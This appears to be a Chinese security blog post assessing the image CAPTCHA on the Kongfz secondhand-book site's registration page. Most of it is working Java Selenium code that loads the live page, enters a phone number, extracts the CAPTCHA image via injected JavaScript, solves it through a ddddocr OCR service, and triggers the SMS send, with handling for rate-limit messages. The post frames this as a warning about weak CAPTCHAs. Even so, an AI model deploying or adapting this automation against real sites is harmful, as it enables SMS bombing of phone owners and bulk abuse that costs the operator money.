前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：
- 暴力破解密码，造成用户信息泄露
- 短信盗刷的安全问题，影响业务及导致用户投诉
- 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析
一、 孔夫子旧书网 PC 注册入口
简介：孔网创建于2002年，是大型的二手旧货、古旧图书和商品交易平台，是传统文化行业结合互联网而搭建的C2C平台，是有传统文化价值的旧货市场。网站主要板块是书店区和拍卖区。网站秉承“网罗天下图书，传承中华文明”的理念，致力于发掘、抢救、保护和传播中国传统文化资源。
二丶 安全分析：
采用传统的图形验证码方式，具体为6个数字及英文,ocr 识别率在 95% 以上。
测试方法：
采用模拟器+OCR识别
1. 模拟器交互
private static String INDEX_URL = "https://login.kongfz.com/register/index.html";
@Override
public RetEntity send(WebDriver driver, String areaCode, String phone) {
RetEntity retEntity = new RetEntity();
try {
driver.get(INDEX_URL);
// 1 输入手机号
WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("phone"), 1);
phoneElemet.sendKeys(phone);
// 2 获取图形验证码
WebElement sendElement = driver.findElement(By.xpath("//a[contains(text(),'获取验证码')]"));
sendElement.click();
Thread.sleep(1 * 1000);
WebElement imgElement = ChromeDriverManager.waitElement(driver, By.xpath("//li[@class='verityBox']/div/span/img[contains(@src,'/Pc/ajax/showSimpleCaptcha')]"), 20);
sendElement = (imgElement == null) ? ChromeDriverManager.waitElement(driver, By.xpath("//a[contains(text(),'获取验证码')]"), 10) : null;
if (sendElement != null) {
sendElement.click();
Thread.sleep(1500);
WebElement gtElement = ChromeDriverManager.waitElement(driver, By.xpath("//a[contains(text(),'秒后可重发')]"), 10);
String gtInfo = (gtElement != null) ? gtElement.getText() : null;
if (gtInfo != null && gtInfo.contains("秒后可重发")) {
retEntity.setMsg("[无感验证通过]->" + gtInfo);
retEntity.setRet(0);
return retEntity;
}
}
if (imgElement == null) {
return null;
}
System.currentTimeMillis();
imgElement.click();
Thread.sleep(1000);
String imgCode = null, picUrl;
byte[] imgByte = null;
for (int i = 0; i < 3; i++) {
System.currentTimeMillis();
picUrl = imgElement.getAttribute("src");
imgByte = (picUrl != null) ? GetImage.callJsByUrl(driver, picUrl) : null;
imgCode = ddddOcr.getImgCode(imgByte);
if (imgCode != null && imgCode.length() >= 6) {
ddddOcr.saveFile("KongFz/", imgCode, imgByte);
break;
} else if (imgCode != null && imgCode.contains("=")) {
System.out.println("算术运算");
return null;
}
imgElement.click();
Thread.sleep(1 * 1000);
}
if (imgCode == null || imgCode.length() < 1) {
return null;
}
// 3 输入识别出来的图形验证码
WebElement codeInputElement = driver.findElement(By.id("verity"));
codeInputElement.sendKeys(imgCode);
Thread.sleep(1 * 1000);
sendElement = ChromeDriverManager.waitElement(driver, By.xpath("//a[contains(text(),'获取验证码')]"), 10);
if (sendElement != null) {
sendElement.click();
Thread.sleep(2 * 1000);
}
WebElement gtElement = ChromeDriverManager.waitElement(driver, By.xpath("//a[contains(text(),'秒后可重发')]"), 10);
if (gtElement == null) {
WebElement errElement = ChromeDriverManager.waitElement(driver, By.xpath("//span[@class='red' and contains(text(),'短信发送太快')]"), 10);
String errInfo = (errElement != null) ? errElement.getText() : null;
if (errInfo != null) {
retEntity.setMsg("[imgCode:" + imgCode + "]->" + errInfo);
String lateTime = DigitFormat.getDigit(errInfo);
System.out.println(errInfo + "->sleep " + lateTime);
Thread.sleep(Integer.parseInt(lateTime) * 1000);
return retEntity;
}
}
String gtInfo = (gtElement != null) ? gtElement.getText() : null;
retEntity.setMsg("[imgCode:" + imgCode + "]->" + gtInfo);
if (gtInfo != null && gtInfo.contains("秒后可重发")) {
retEntity.setRet(0);
}
return retEntity;
} catch (Exception e) {
System.out.println("phone=" + phone + ",e=" + e.toString());
for (StackTraceElement ele : e.getStackTrace()) {
System.out.println(ele.toString());
}
return null;
} finally {
if (driver != null)
driver.manage().deleteAllCookies();
}
}
2. 获取图形验证码
public static byte[] callJsById(WebDriver driver, String id) {
return callJsById(driver, id, null);
}
public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {
String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";
js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";
js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";
js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";
js += "let base64String = c.toDataURL();return base64String;";
String src = ((JavascriptExecutor) driver).executeScript(js).toString();
String base64Str = src.substring(src.indexOf(",") + 1);
if (base64 != null) {
base64.append(base64Str);
}
byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;
return vBytes;
}
3.图形验证码识别（Ddddocr）
public String getImgCode(byte[] bigImage) {
try {
if (ddddUrl == null) {
System.out.println("ddddUrl=" + ddddUrl);
return null;
}
long time = (new Date()).getTime();
HttpURLConnection con = null;
String boundary = "----------" + String.valueOf(time);
String boundarybytesString = "\r\n--" + boundary + "\r\n";
OutputStream out = null;
URL u = new URL(ddddUrl);
con = (HttpURLConnection) u.openConnection();
con.setRequestMethod("POST");
con.setConnectTimeout(10000);
con.setReadTimeout(10000);
con.setDoOutput(true);
con.setDoInput(true);
con.setUseCaches(true);
con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
out = con.getOutputStream();
if (bigImage != null && bigImage.length > 0) {
out.write(boundarybytesString.getBytes("UTF-8"));
String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";
paramString += "Content-Type: application/octet-stream\r\n\r\n";
out.write(paramString.getBytes("UTF-8"));
out.write(bigImage);
}
String tailer = "\r\n--" + boundary + "--\r\n";
out.write(tailer.getBytes("UTF-8"));
out.flush();
out.close();
StringBuffer buffer = new StringBuffer();
BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
String temp;
while ((temp = br.readLine()) != null) {
buffer.append(temp);
}
String ret = buffer.toString();
if (ret.length() < 1) {
System.out.println("ddddUrl=" + ddddUrl + " ret=" + buffer.toString());
}
return buffer.toString();
} catch (Throwable e) {
logger.error("ddddUrl=" + ddddUrl + ",e=" + e.toString());
return null;
}
}
public void saveFile(String factory, String imgCode, byte[] imgByte) {
try {
String basePath = ConstTable.codePath + factory + "/";
File ocrFile = new File(basePath + imgCode + ".png");
FileUtils.writeByteArrayToFile(ocrFile, imgByte);
} catch (Exception e) {
logger.error("saveFile() " + e.toString());
}
}
4. 图形OCR识别结果：
5. 测试返回结果：
三 丶测试报告 ：
四丶结语
孔夫子网简称孔网，创建于2002年，是大型的二手旧货、古旧图书和商品交易平台，是传统文化行业结合互联网而搭建的C2C平台，是有传统文化价值的旧货市场。网站主要板块是书店区和拍卖区。网站秉承“网罗天下图书，传承中华文明”的理念，致力于发掘、抢救、保护和传播中国传统文化资源。作为旧古书二手市场平台的“独角兽”企业， 技术实力也应该不错，但采用的还是老一代的图形验证码已经落伍了， 用户体验一般，容易被破解， 一旦被国际黑客发起攻击，将会对老百姓形成骚扰，影响声誉。
很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。
所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#
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谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？
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